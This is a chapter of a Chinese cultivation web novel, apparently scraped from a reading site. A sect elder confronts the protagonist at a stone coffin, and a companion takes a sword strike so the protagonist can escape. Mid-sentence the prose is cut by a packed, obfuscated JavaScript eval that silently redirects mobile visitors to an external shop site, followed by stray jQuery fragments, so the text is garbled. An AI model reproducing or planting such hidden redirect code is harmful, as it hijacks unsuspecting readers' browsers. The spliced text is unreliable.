文趣网 > 都市小说 > 天劫淬体逆天路 > 29. 萧衍的现身
    沈墨渊站在原地,没有回头。

    他听得出那个声音。温和,从容,带着一股让人脊背发凉的从容——是萧衍。

    “别动,那东西是我的。”

    萧衍的声音从身后传来,不急不缓,像在说一件理所当然的事。

    沈墨渊的手还按在石棺上,棺盖的冰凉触感从掌心渗进骨头里。他能感觉到器灵在颤抖,不是害怕,是愤怒——那种压抑了不知多少年的愤怒,像一头被关在笼子里的野兽,拼命想冲出来。

    “冷静。”沈墨渊在心里说,声音压得很低,“别冲动。”

    器灵没有回答,但颤抖没有停。

    沈墨渊深吸一口气,缓缓转过身。

    萧衍站在三丈外,负手而立,脸上带着温和的笑容。月光从废墟的裂缝中漏下来,照在他脸上,那张清癯的面容在光影中半明半暗,像一尊没有表情的石像。

    他穿着一件青色道袍,袖口的云纹在月光下泛着微光,腰间挂着一枚玉佩,玉佩上刻着天剑宗长老的标识。

    “萧长老。”沈墨渊说,声音沙哑。

    萧衍没有回答,只是看着他,眼神平静得像一潭死水。

    沉默像一把刀,悬在两人之间。

    然后萧衍开口了。

    “你比我想的能跑。”

    他的语气很平淡,像在说一件无关紧要的事。

    “从宗门到葬灵渊,三百里路。你一个炼气期的小杂役,居然能活着走到这里,还破了三重幻象阵。”

    他顿了顿,嘴角微微上扬,露出一个似笑非笑的弧度。

    “有意思。”

    沈墨渊没有说话,只是握紧拳头,指甲嵌进掌心的伤口里,疼得他浑身一颤。但他没松手,反而攥得更紧了。

    “你想怎样?”他问,声音沙哑。

    萧衍没有直接回答,而是慢慢踱了两步,目光落在沈墨渊身后的石棺上。他的眼神在那漆黑的棺盖上停留了片刻,然后移开,重新看向沈墨渊。

    “你离开宗门那天,我就派了暗线跟着你。”他说,“你的一举一动,我都知道。”

    沈墨渊的心一沉。

    “你去了藏经阁,见了白素衣。”萧衍说,语气依然平淡,“你从她那里拿到了什么?”

    沈墨渊没有说话。

    萧衍笑了笑,那笑容很温和,但眼底没有一丝温度。

    “你不说也没关系。”他说,“我知道你身上有什么——器灵,《破厄诀》。你一个废灵根,能走到今天这一步,靠的就是这两样东西。”

    他顿了顿,往前走了一步。

    “交出来。”

    他的声音依然温和,但温和里带着一股不容置疑的威压,像一座山压在沈墨渊胸口。

    “功法,器灵,全部交出来。”他说,“我可以饶你一命,甚至收你为亲传弟子。以你的资质,虽然灵根废了,但有《破厄诀》和器灵辅助,未来未必不能筑基。”

    沈墨渊沉默了片刻,然后忽然笑了。

    那笑声很难听,沙哑得像砂纸磨过铁板,嘴角扯动时牵动了脸上的伤口,血珠顺着下巴滴落。

    “萧长老,”他说,声音沙哑却带着一股狠劲,“你觉得我会信吗?”

    萧衍的眼神微微一凝。

    “你跟踪我三百里,一路跟到葬灵渊。”沈墨渊说,“你费了这么大劲,就是为了收我为亲传弟子?”

    他咧嘴笑了笑,笑得很难看。

    “你是怕我跑了,怕我把《破厄诀》带进葬灵渊深处,怕我找到完整的传承。”

    他盯着萧衍的眼睛,一字一句地说:“你是怕我,一个废灵根,真的逆了天。”

    萧衍没有说话,只是静静地看着他。

    沉默像一堵墙,压在两人之间。

    然后萧衍笑了。

    那笑容很淡,像风吹过水面,泛起一丝涟漪,然后迅速消失。

    “你说得对。”他说,“我是怕。”

    他往前走了一步,月光照在他脸上,那张温和的面容上忽然多了一丝冷意。

    “我怕的不是你逆天。”他说,“我怕的是《破厄诀》落在不该落的人手里。我怕的是有人用这部功法,毁了宗门千年的根基。”

    他的声音依然温和,但温和里带着一股冰冷的杀意。

    “你以为你是在逆天改命?”他说,“你不过是在重复前人的错误。每一个修炼《破厄诀》的人,最终都死在雷劫下,死在天道手中。你也不会例外。”

    他伸出手,掌心向上,一道淡淡的灵气在掌中凝聚,像一柄无形的剑。

    “但我可以给你一条活路。”他说,“交出器灵和功法,我可以保你平安。否则——”

    他没有说完,但意思已经很明显。

    沈墨渊站在那里,浑身是伤,连站都站不稳,但他没有后退。

    他知道,退一步就是万丈深渊。

    器灵的声音忽然在他脑海中响起,很轻,带着一种说不出的疲惫。

    “别怕。”

    沈墨渊愣了一下。

    “我还有一个办法。”器灵说,“我可以引爆自己的一部分灵识,制造一次短暂的爆发。那股力量足以让你逃走,逃到葬灵渊深处,逃到他找不到的地方。”

    沈墨渊的心一紧。

    “代价是什么?”

    器灵沉默了片刻。

    “我会陷入沉睡。”它说,声音很轻,“可能几天,可能几个月,也可能……永远醒不过来。”

    沈墨渊的呼吸顿了一下。

    “不行。”他咬牙说,声音压得很低,带着一股狠劲,“我不会让你再牺牲了。”

    “你不走,我们两个都得死在这里。”器灵说,声音里带着一丝苦笑,“他金丹后期,你炼气期。你觉得你能从他手里活下来?”

    “总会有别的办法。”

    “没有。”器灵说,声音平静得像在说一件与己无关的事,“这是我唯一能做的。你活着,我就还有醒过来的可能。你死了,我连可能都没有了。”

    沈墨渊没有说话,只是攥紧拳头,指甲嵌进掌心,血从指缝里渗出来,滴在地上。

    萧衍看着他,眼神里带着一丝玩味。

    “想好了吗?”他问。

    沈墨渊抬起头,看着他,没有说话。

    萧衍笑了笑,那笑容很温和,但温和里带着一股冰冷的杀意。

    “看来你是不打算配合了。”

    他抬起手,指尖凝聚出一道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570353|204904||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    剑气。剑气凌厉如霜,在月光下泛着冷光,像一柄无形的刀。

    “那就别怪我不客气了。”

    沈墨渊站在那里,浑身紧绷,像一头被逼到绝路的野兽。

    他能感觉到器灵在积蓄力量,那股力量像一头沉睡的巨兽,正在慢慢苏醒。

    “别动。”器灵的声音在脑海中响起,“等他出手,我引爆灵识,你往石棺的方向跑。”

    “不行——”

    “别废话。”器灵打断他,声音里带着一股从未有过的决绝,“你活着,我才有希望。记住,去葬灵渊第三层,找到我的残骸。那里有完整的《破厄诀》,有你需要的一切。”

    沈墨渊的喉咙像被什么东西堵住了,说不出话。

    萧衍的剑气越来越亮,灵气在空气中激荡,像一池被搅动的水。

    “最后问你一次。”萧衍说,声音冰冷,“交,还是不交?”

    沈墨渊没有回答。

    他站在那里,浑身是伤,连站都站不稳,但他的眼睛没有躲闪,死死盯着萧衍,像一头被逼到绝路的狼。

    萧衍冷笑一声。

    剑气脱手而出,直朝沈墨渊的丹田刺来。

    速度太快了。

    沈墨渊根本来不及躲闪,只能本能地用双臂护住要害。

    就在这时——

    一道黑影突然从侧面扑出,挡在了沈墨渊身前。

    “噗——”

    剑气贯穿血肉的声音,闷闷的,像一拳打在湿泥上。

    沈墨渊愣住了。

    那道黑影挡在他面前,身形高瘦,一头灰白色长发在月光下泛着冷光。

    叶无道。

    他被剑气贯穿了肩膀,血从伤口涌出来,顺着他的手臂滴落,在地上汇成一小滩。

    他闷哼一声,回头看了沈墨渊一眼,咧嘴笑了笑。

    那笑容很难看,嘴角扯动时牵动了伤口,疼得他龇牙咧嘴。

    “兄弟,”他说,声音沙哑,“我欠你的命,这次还了。”

    沈墨渊张了张嘴,想说什么,但喉咙像被什么东西堵住了,说不出话。

    叶无道没等他开口,从怀里掏出一颗黑色丹药,塞进沈墨渊手里。

    “吃了它,跑。”

    他说完,没等沈墨渊反应,转身朝萧衍扑去。

    他的身影在月光下拖出一道长长的影子,像一只扑火的飞蛾。

    沈墨渊站在那里,手里攥着那颗黑色丹药,丹药上还沾着叶无道的血,温热的,带着一股刺鼻的药味。

    他看见叶无道扑向萧衍,看见萧衍抬手,又一道剑气凝聚成形。

    他听见器灵在脑海中喊:“走!”

    他转身,朝石棺的方向跑去。

    身后传来一声闷响,然后是叶无道的笑声,沙哑的,带着一股疯劲。

    “萧长老,你下手可真狠啊——”

    沈墨渊没有回头。

    他咬着牙,拼命往前跑,脚踩在碎石上,每一步都像踩在刀尖上。

    那颗黑色丹药在他手里发烫,像一块烧红的铁。

    他没有吃。

    他把它攥在手里,攥得指节发白。

    他知道,他欠叶无道的,这辈子都还不清了。